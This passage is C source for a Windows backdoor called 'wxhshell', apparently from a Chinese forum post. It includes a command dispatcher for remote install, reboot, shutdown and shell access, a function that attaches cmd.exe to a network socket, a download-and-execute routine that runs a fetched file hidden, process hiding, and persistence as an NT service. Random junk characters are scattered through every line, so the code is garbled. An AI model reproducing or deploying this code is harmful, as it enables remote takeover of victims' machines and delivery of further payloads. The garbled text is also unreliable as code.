K"<PGOF  
    switch(cmd[0]) { <Sz52Suh>  
  h' !imQ  
  // 帮助 \%sVHt`c  
  case '?': { ,>t69 Ad  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t_ksvWUo  
    break; _k^0m  
  } Q]rD}Ckv-  
  // 安装 >5R <;#8  
  case 'i': { J$~<V IX  
    if(Install()) _U;eN|Ww  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "cTncL  
    else [D5t{[i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7_2kDDW0  
    break; <foCb%$(?  
    } %>gW9}kB  
  // 卸载 y9#$O(G  
  case 'r': { SXao|{?O  
    if(Uninstall()) p3/*fH98  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DzQ1%!  
    else 6#j$GH *  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $3Z-)m  
    break; 7PR#(ftz  
    } B?$ "\;&  
  // 显示 wxhshell 所在路径 j@Yi`a(sdm  
  case 'p': { 0 ugT2%  
    char svExeFile[MAX_PATH]; FWH}j0Gj|  
    strcpy(svExeFile,"\n\r"); j3q~E[Mz\  
      strcat(svExeFile,ExeFile); E7Cy(LO  
        send(wsh,svExeFile,strlen(svExeFile),0); [~:-&  
    break; SWp1|.=Sm  
    } zqDR7+]  
  // 重启 do uc('@  
  case 'b': { XC7%vDIt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B2Xn?i3 l  
    if(Boot(REBOOT)) @"T"7c?Cv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i(? ,6)9  
    else { {cpEaOyOM  
    closesocket(wsh); nW "q  
    ExitThread(0); DF6c|  
    } qS&%!  
    break; r_EcMIuk  
    } fw oQ' &  
  // 关机 fQLt=Lrp  
  case 'd': { , @m@S ^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EQqx+J&!  
    if(Boot(SHUTDOWN)) kY]W Qu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iCP/P%  
    else { CE15pNss  
    closesocket(wsh); m\/ Tj0e  
    ExitThread(0); ^\B :R,  
    } Kb =@ =Xta  
    break; Z ,^9 Z  
    } ^I KO2Ft  
  // 获取shell {_RWVVVe  
  case 's': { 6 z,&i  
    CmdShell(wsh); ]d[ge6  
    closesocket(wsh); KRJLxNr  
    ExitThread(0); [OOS`N4<  
    break; \:> Wpqw  
  } *&AfR8x_z  
  // 退出 D@EO=08<b  
  case 'x': { ,Ma.V\T[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y32O-I!9u  
    CloseIt(wsh); c:83LZ  
    break; vd`}/~o  
    } @H!$[m3  
  // 离开 Gu=STb  
  case 'q': { E{HY!L[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EkT."K  
    closesocket(wsh); 5unG#szq  
    WSACleanup(); g~UUP4<$"  
    exit(1); y]%w)4PS  
    break; ;X,1&#I  
        } crO@?m1  
  } CukC6u b  
  } _WX#a|4h{  
569}Xbc/  
  // 提示信息 m~Ld~I"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z%Z9oJ:  
} )m3q2W  
  } &;LqF#ZL  
I *c;H I  
  return; ?Z\Yu'  
} (><zsLs&  
PiFD^w  
// shell模块句柄 b'zR 9V  
int CmdShell(SOCKET sock) W~_t~Vg5  
{ }0,>2TTDN  
STARTUPINFO si; dk8wIa"K`  
ZeroMemory(&si,sizeof(si)); elG;jB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UEak^Mm;=2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4Ij-Ilg)%  
PROCESS_INFORMATION ProcessInfo; i?Ss:v^  
char cmdline[]="cmd"; hO{cvHy`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .s/fhk,  
  return 0; 93[DAs  
} RkF D*E$  
u6:pV.p  
// 自身启动模式 =O|c-k,f@  
int StartFromService(void) 8\<jyJ  
{ p}Fs'l?7Rq  
typedef struct TEUY3z[g  
{ KlK`;cr?  
  DWORD ExitStatus; U=bEA1*@0  
  DWORD PebBaseAddress; @|ye qy_:  
  DWORD AffinityMask; 2?Ye*-  
  DWORD BasePriority; 4Z[V uQng  
  ULONG UniqueProcessId; K[ .JlIP  
  ULONG InheritedFromUniqueProcessId; ,n2i@?NHZ  
}   PROCESS_BASIC_INFORMATION; -#-p1^v}  
Dj\e@?Y  
PROCNTQSIP NtQueryInformationProcess; DjMf,wX-{  
(Lh#`L?x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 57F%j3.|/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vUC!fIG  
/R X1UQ.s  
  HANDLE             hProcess; O!D/|.Q#%  
  PROCESS_BASIC_INFORMATION pbi; u% 2<\:~j  
]L2Oz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); elJ)4Em  
  if(NULL == hInst ) return 0; 9ykM3  
"s W-_j]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .AV)'j#6P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a :SQ16_?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {>0V[c[~  
"Clz'J]{  
  if (!NtQueryInformationProcess) return 0; 8 l/[(] &  
1|,Pq9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gG54:  
  if(!hProcess) return 0; N132sN2   
fYebB7Pv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eT"Uxhs-}  
O`FqD{@V  
  CloseHandle(hProcess); 4n 3Tp{Y}  
x}fn 'iUnm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OLq 0V3m  
if(hProcess==NULL) return 0; B68H&h]D#'  
4{9d#[KW  
HMODULE hMod; >5~7u\#9  
char procName[255]; oN[Th  
unsigned long cbNeeded; 2k7bK6=nm  
_BnTv$.P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E]^5I3=O  
/I&wj^   
  CloseHandle(hProcess); _17|U K|N  
uK*Nu^  
if(strstr(procName,"services")) return 1; // 以服务启动 BpAB5=M0  
B7Ntk MK  
  return 0; // 注册表启动 5,+\`!g  
} )J/HkOj"V  
uMXc0fs!$  
// 主模块 .uZ7 -l  
int StartWxhshell(LPSTR lpCmdLine) @^nu #R  
{ jRkC/Lw  
  SOCKET wsl; h~HB0^|  
BOOL val=TRUE;  ~QG ?k  
  int port=0; L^9HH)Jc  
  struct sockaddr_in door; +R$?2  
#?} 6t~  
  if(wscfg.ws_autoins) Install(); ed~R>F>  
"i'bTVs  
port=atoi(lpCmdLine); DrS~lTf=>  
? s} %  
if(port<=0) port=wscfg.ws_port; t> Q{yw  
x49!{}  
  WSADATA data; J$uM 03  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~HLRfL?  
5$l9@0D.\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mAqD jRV1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sB}]yw  
  door.sin_family = AF_INET; $,1dQeE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wV <7pi  
  door.sin_port = htons(port); &R$Q\ ,  
kv|,b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _ P ,@  
closesocket(wsl); ESQ!@G/n  
return 1; O?K./So&  
} Wz=OSH7"f  
u,i]a#K  
  if(listen(wsl,2) == INVALID_SOCKET) { 4~?2wvz G4  
closesocket(wsl); .{dE}2^  
return 1; ol!86rky  
} yM$J52#d#  
  Wxhshell(wsl); <Q`&o@I  
  WSACleanup(); 9$WJ"]  
i1*C{Lf;%)  
return 0; vx0UoKX  
go|>o5!g  
} cFfTYP9  
p]LnE `v  
// 以NT服务方式启动 )y50Mb0+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y]qsyR18i  
{ `bgb*Yaod  
DWORD   status = 0; ;"7/@&M\m  
  DWORD   specificError = 0xfffffff; ^KHLBSc:  
3l:XhLOj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9{J?HFw*;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mVf.sA8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mX_)b>iW  
  serviceStatus.dwWin32ExitCode     = 0; aPIr_7e  
  serviceStatus.dwServiceSpecificExitCode = 0; L4974E?S  
  serviceStatus.dwCheckPoint       = 0; UOI^c  
  serviceStatus.dwWaitHint       = 0; [STje8+V  
1t~({Pl<>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }Jxq'B  
  if (hServiceStatusHandle==0) return; {Bs+G/?o/  
O8RzUg&  
status = GetLastError(); xEoip?O?7F  
  if (status!=NO_ERROR) r#h {$iW  
{ >[K?fJ$+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b :\D\X  
    serviceStatus.dwCheckPoint       = 0; Lo3-X  
    serviceStatus.dwWaitHint       = 0; Xz1c6mX|o  
    serviceStatus.dwWin32ExitCode     = status; 8=H\?4)()Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; O k(47nC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c>MY$-PD  
    return; |^5/(16  
  } az(5o  
i.@*t IK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _EKF-&Q6  
  serviceStatus.dwCheckPoint       = 0; <c%n?QK{  
  serviceStatus.dwWaitHint       = 0; Z;*`f d?8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v5Y@O|i#  
} &+;uZ-x  
`!Ln|_,d  
// 处理NT服务事件,比如:启动、停止 Y^eX@dE FR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RK)l8c}  
{ HYIRcY  
switch(fdwControl) ~{QEL2  
{ .ev\M0Dt  
case SERVICE_CONTROL_STOP: n&7@@@cA  
  serviceStatus.dwWin32ExitCode = 0; Fzs>J&sY&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ru7L>(Njs  
  serviceStatus.dwCheckPoint   = 0; Yf (im  
  serviceStatus.dwWaitHint     = 0; HTNA])G  
  { +{vQS FW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9/46%=&]  
  } d=n h  
  return; `QLowna  
case SERVICE_CONTROL_PAUSE: sFx$>:$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %Rn:G K  
  break;  z\$;'  
case SERVICE_CONTROL_CONTINUE: |0w~P s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mVrKz  
  break; cju@W]!  
case SERVICE_CONTROL_INTERROGATE: 32KR--mn%  
  break; 9S"N4c>  
}; Gc}0]!nrW9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "o==4?*L  
} =tq7z =k  
E3tj/4:L  
// 标准应用程序主函数 '}zT1F* p=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *^6k[3VY  
{ J[+Tj @n'  
TAAR'Jz S  
// 获取操作系统版本 >C^/,/%v  
OsIsNt=GetOsVer(); 2VMX:&3 5J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lxOqs:b  
?1DUNZ6  
  // 从命令行安装 wz@/5c/u  
  if(strpbrk(lpCmdLine,"iI")) Install(); +9~ZA3DiP  
!h/dZ`#  
  // 下载执行文件 % &+|==-  
if(wscfg.ws_downexe) { qa;EI ;8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Xa*?<(^`  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'Aet{A=9  
} A?sNXhh  
g\j>qUjs%Q  
if(!OsIsNt) { ,E]|\_]  
// 如果时win9x,隐藏进程并且设置为注册表启动 FLEg0/m0  
HideProc(); 6NSO>/E  
StartWxhshell(lpCmdLine); o@@_J@}#  
} r'PE5xqF  
else SNxz*`@4  
  if(StartFromService()) T:'+6  
  // 以服务方式启动 * S{\#s  
  StartServiceCtrlDispatcher(DispatchTable); ZU^Q1}</5  
else A ' )(SGSc  
  // 普通方式启动 5 2fO)!  
  StartWxhshell(lpCmdLine); Nq  U9/  
6BHPzv+Y  
return 0; S#hu2\9D,  
}
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只看该作者 1 发表于: 2006-10-10
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